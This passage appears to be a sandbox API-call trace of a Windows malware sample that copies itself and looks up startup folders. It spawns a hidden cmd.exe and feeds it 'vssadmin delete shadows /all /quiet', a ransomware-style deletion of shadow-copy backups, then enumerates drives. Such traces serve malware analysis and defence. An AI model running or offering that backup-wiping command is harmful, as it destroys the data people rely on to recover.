dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0053.429] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0053.442] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0053.445] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0053.445] CloseHandle (hObject=0xe8) returned 1 [0053.446] CloseHandle (hObject=0xe4) returned 1 [0053.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.446] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x605938 [0053.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.446] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x6058e8 [0053.447] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.447] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.447] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0053.447] lstrlenW (lpString="kernel32.dll") returned 12 [0053.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e8 | out: hHeap=0x5d0000) returned 1 [0053.447] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0053.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x5d0000) returned 1 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60b430 | out: hHeap=0x5d0000) returned 1 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b438 | out: hHeap=0x5d0000) returned 1 [0053.452] lstrlenW (lpString="%windir%\\System32") returned 17 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5d0000) returned 1 [0053.452] lstrlenW (lpString="%appdata%") returned 9 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e43a0 | out: hHeap=0x5d0000) returned 1 [0053.452] lstrlenW (lpString="%sh(Startup)%") returned 13 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4378 | out: hHeap=0x5d0000) returned 1 [0053.452] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6069f8 | out: hHeap=0x5d0000) returned 1 [0053.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x5e4378 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4378, Size=0x40) returned 0x6069f8 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6069f8, Size=0x80) returned 0x62b458 [0053.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x5e4378 [0053.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1fffc) returned 0x60b430 [0053.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d440 [0053.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63d448 [0053.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x5e43a0 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e43a0, Size=0x40) returned 0x6069f8 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6069f8, Size=0x80) returned 0x62b4e0 [0053.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b4e0, Size=0x100) returned 0x607bb8 [0053.452] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb8 | out: hHeap=0x5d0000) returned 1 [0053.452] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x62d440, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d448 | out: hHeap=0x5d0000) returned 1 [0053.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d440 | out: hHeap=0x5d0000) returned 1 [0053.453] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0053.453] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0053.454] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0053.454] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0053.454] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x15c, dwThreadId=0x798)) returned 1 [0053.566] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0053.566] WriteFile (in: hFile=0xec, lpBuffer=0x62b458*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x62b458*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0053.566] CloseHandle (hObject=0xfc) returned 1 [0053.566] CloseHandle (hObject=0xf8) returned 1 [0053.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60b430 | out: hHeap=0x5d0000) returned 1 [0053.566] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0053.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b458 | out: hHeap=0x5d0000) returned 1 [0053.566] lstrlenW (lpString="%comspec%") returned 9 [0053.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4378 | out: hHeap=0x5d0000) returned 1 [0053.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0053.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604a38 [0053.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x604a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0053.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e47b0 [0053.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5e47b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0053.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a50 [0053.568] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a50, Size=0x20) returned 0x5e4378 [0053.568] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4378, Size=0x40) returned 0x6069f8 [0053.568] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0053.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x607c30 [0053.568] GetLogicalDrives () returned 0x4 [0053.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10014) returned 0x60b430 [0053.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a50 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a50, Size=0x20) returned 0x5e4378 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4378, Size=0x40) returned 0x606a88 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a88, Size=0x80) returned 0x62b458 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x6091a0 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x200) returned 0x6091a0 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x400) returned 0x6091a0 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x800) returned 0x6097b8 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6097b8, Size=0x1000) returned 0x61b450 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x62d440 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a50 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604b28 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4758 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604b40 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4768 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b58 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4768, Size=0x8) returned 0x5e4768 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b70 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4768, Size=0x10) returned 0x5e4720 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b88 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604ba0 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4720, Size=0x20) returned 0x607ab8 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604bb8 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4768 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604bd0 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604be8 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x607ab8, Size=0x40) returned 0x6052e0 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c00 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c18 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c30 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c48 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604c60 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604c78 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x605328 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604c90 [0053.569] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6052e0, Size=0x80) returned 0x6091a0 [0053.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604ca8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604cc0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604cd8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604cf0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6097d0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6097e8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609800 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4720 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609818 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609830 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609848 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609860 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609878 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609890 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6098a8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6098c0 [0053.570] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x100) returned 0x6091a0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6098d8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6098f0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609908 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x609920 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609938 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609950 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4730 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609968 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609980 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609998 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x607ab8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099b0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099c8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x607ac8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099e0 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099f8 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609a10 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a28 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a40 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a58 [0053.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x609a70 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a88 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x609aa0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ab8 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ad0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ae8 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b00 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x607ad8 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b18 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b30 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b48 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b60 [0053.571] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x200) returned 0x6091a0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b78 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x6052e0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b90 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609bd0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609be8 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c00 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c18 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c30 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c48 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c60 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c78 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609c90 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609ca8 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609cc0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609cd8 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609cf0 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609d08 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d20 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609d38 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609d50 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d68 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d80 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d98 [0053.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x6052f0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609db0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609dc8 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609de0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x609fd0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609df8 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609e10 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e28 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e40 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e58 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e70 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e88 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ea0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609eb8 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609ed0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ee8 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f00 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f18 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609f30 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f48 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f60 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f78 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f90 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c470 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c488 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4a0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x609fe0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x609ff0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4b8 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4d0 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4e8 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c500 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c518 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c530 [0053.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c548 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c560 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c578 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c590 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c5a8 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c5c0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c5d8 [0053.573] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6091a0, Size=0x400) returned 0x6091a0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c5f0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c608 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c620 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c638 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c650 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c668 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c680 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c698 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c6b0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c6c8 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a000 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c6e0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c6f8 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c710 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c728 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c740 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c758 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61c770 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c788 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7a0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7b8 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7d0 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7e8 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c800 [0053.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c818 [0053.573] 